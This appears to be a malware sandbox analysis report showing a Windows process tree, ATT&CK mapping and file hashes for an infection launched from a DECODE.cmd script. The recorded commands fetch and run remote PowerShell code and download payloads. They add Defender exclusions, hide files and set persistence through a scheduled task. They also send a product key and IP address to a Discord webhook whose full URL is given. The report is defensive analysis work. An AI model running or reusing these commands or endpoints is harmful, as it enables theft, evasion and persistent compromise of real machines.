C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1192

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2244

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2616

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2296

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2920

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DECODE.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "irm rentry.co/Agentdll/raw | iex"
    3⤵
    - Blocklisted process makes network request
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Public\bin.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2796
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell -WindowStyle Hidden -Command ""
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5060
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c mountvol | find ":\"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4228
      - C:\Windows\system32\mountvol.exe
        
        mountvol
        6⤵
        
        PID:3444
      - C:\Windows\system32\find.exe
        
        find ":\"
        6⤵
        
        PID:1996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c add-mppreference -exclusionpath C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4428
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c add-mppreference -exclusionpath F:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1940
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c add-mppreference -exclusionpath D:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic csproduct get uuid /value | find /i "uuid="
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2344
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid /value
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3936
      - C:\Windows\system32\find.exe
        
        find /i "uuid="
        6⤵
        
        PID:3720
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "hkey_local_machine\software\microsoft\windows nt\currentversion\softwareprotectionplatform" /V "BackupProductKeyDefault" | findstr /ri "REG_SZ"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2168
      - C:\Windows\system32\reg.exe
        
        reg query "hkey_local_machine\software\microsoft\windows nt\currentversion\softwareprotectionplatform" /V "BackupProductKeyDefault"
        6⤵
        
        PID:8
      - C:\Windows\system32\findstr.exe
        
        findstr /ri "REG_SZ"
        6⤵
        
        PID:784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl --silent icanhazip.com
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3972
      - C:\Windows\system32\curl.exe
        
        curl --silent icanhazip.com
        6⤵
        
        PID:2836
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -ks "https://rentry.co/cbkt9fio/raw"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5012
      - C:\Windows\system32\curl.exe
        
        curl -ks "https://rentry.co/cbkt9fio/raw"
        6⤵
        
        PID:1620
    - - C:\Windows\system32\curl.exe
        
        curl -H "Content-Type: application/json" -d "{\"username\": \"TrollSec\", \"embeds\": [{\"title\": \"Enemey Down\", \"color\": 1, \"fields\": [{\"name\": \"Enemey Informations :\", \"value\": \" ```Admin/HRCPJXUV``` **Unique Identifier** `````` **Product Key** ```YC7N8-G7WR6-9WR4H-6Y2W4-KBT6X``` **IP Address** ```191.101.209.39``` \"}],\"thumbnail\":{\"url\": \"\"}, \"footer\":{\"text\": \" 3:57:59.61/Sat 06/22/2024\"}}]}" https://discord.com/api/webhooks/1247862642509484092/vR90Kb-l3UPi2-9HRZ2fJ7o7Q0EBnbyiLGfvtKGN75kUdsj5C5BQ0HaTzj15zyWZuFsZ
        5⤵
        
        PID:1568
    - - C:\Windows\system32\curl.exe
        
        Curl -L --Silent "https://github.com/xst4/patch1/releases/download/payloads/uninstaller" --output "C:\Windows\SysWOW64\winrm\Microsoft\DriverLocator.exe"
        5⤵
        Drops file in System32 directory
        
        PID:2172
    - - C:\Windows\system32\curl.exe
        
        Curl -L --Silent "https://github.com/xst4/patch1/releases/download/payloads/winhlp32.ex" --output "C:\Windows\SysWOW64\winrm\Microsoft\Drivermapper.exe"
        5⤵
        Drops file in System32 directory
        
        PID:2032
    - - C:\Windows\SysWOW64\winrm\Microsoft\DriverLocator.exe
        
        "C:\Windows\SysWOW64\winrm\Microsoft\DriverLocator.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3344
      - C:\Users\Admin\AppData\Local\Temp\wqTWwoHc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\wqTWwoHc.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1076
    - - C:\Windows\SysWOW64\winrm\Microsoft\Drivermapper.exe
        
        "C:\Windows\SysWOW64\winrm\Microsoft\Drivermapper.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:5008
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\x4V5.2.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4276
      - C:\ProgramData\x4V5.2.exe
        
        "C:\ProgramData\x4V5.2.exe"
        6⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\x4V5.2.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4200
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x4V5.2.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3764
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\x4Malicious'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3844
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x4Malicious'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3872
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3040
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "x4Malicious" /tr "C:\Users\Admin\x4Malicious"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1456
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\x4Shellcode.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3036
      - C:\ProgramData\x4Shellcode.exe
        
        "C:\ProgramData\x4Shellcode.exe"
        6⤵
        Executes dropped EXE
        
        PID:624
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Windows\SysWOW64\winrm\Microsoft\DriverLocator.exe"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:3312
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Windows\SysWOW64\winrm\Microsoft\Drivermapper.exe"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3424

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3812

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3884

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4324

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2292

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4836

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2300

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4332

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

x4Shellcode.exe

Path C:\ProgramData\x4Shellcode.exe
Size 164KB
SHA256 c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8
MD5 8a7bee2c8cec6ac50bc42fe03d3231e6
SHA1 ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d
SHA512 34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5
SSDEEP 3072:CQpsC8VjDaGrEALtYwR4XiLqejJ3cW4biLsOLQGf1JgckNYhy0kJ:CQpsC8VjD9EAP46sBiHbeVW
MD5 SHA1 SHA512 SSDEEP

Submit Download

x4V5.2.exe

Path C:\ProgramData\x4V5.2.exe
Size 85KB
SHA256 0cf0eb06b862e6a7b5a28fb4e8d2f80d05a6520f63f8e0bb5922e85c6b41b2f2
MD5 1d68a875800780540a7a10e5243a26c1
SHA1 62da3a00ce85933f766bb65b75baf44a1f16d059
SHA512 b3566f4f2a404912a000834fa6f09681e717d3a0f87aa416eb81c233a7a82d94f7b8f65ef734cd277778ebb118f4ccf385fb71cc5a54ec5aa09e932f79ec9842
SSDEEP 1536:+t+/RWAyrfTTnOWpdVE2eoz88GKZZbKN2ZNa62gudiZKPOErqKp5:W+18jDpLGoY8GKZZbKN462KPOErV5
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c15fa04d510034cd6e9148ebb92a559e546843d5db98a27086504fab4f36d02e
MD5 60efcaf245291c5fb8d700f099c371ea
SHA1 f066c7e948db3cda233b4e2786aad20c7f106920
SHA512 9b1b41ca283062e3ba80d358d5e0a9dfd2603cb66ced63b19349801cb0b260473d8b56a2fbc1f7bda8beceb3499f8ad7dfdef6090e87299e5c7497825749d513
MD5 SHA1 SHA512

Submit Download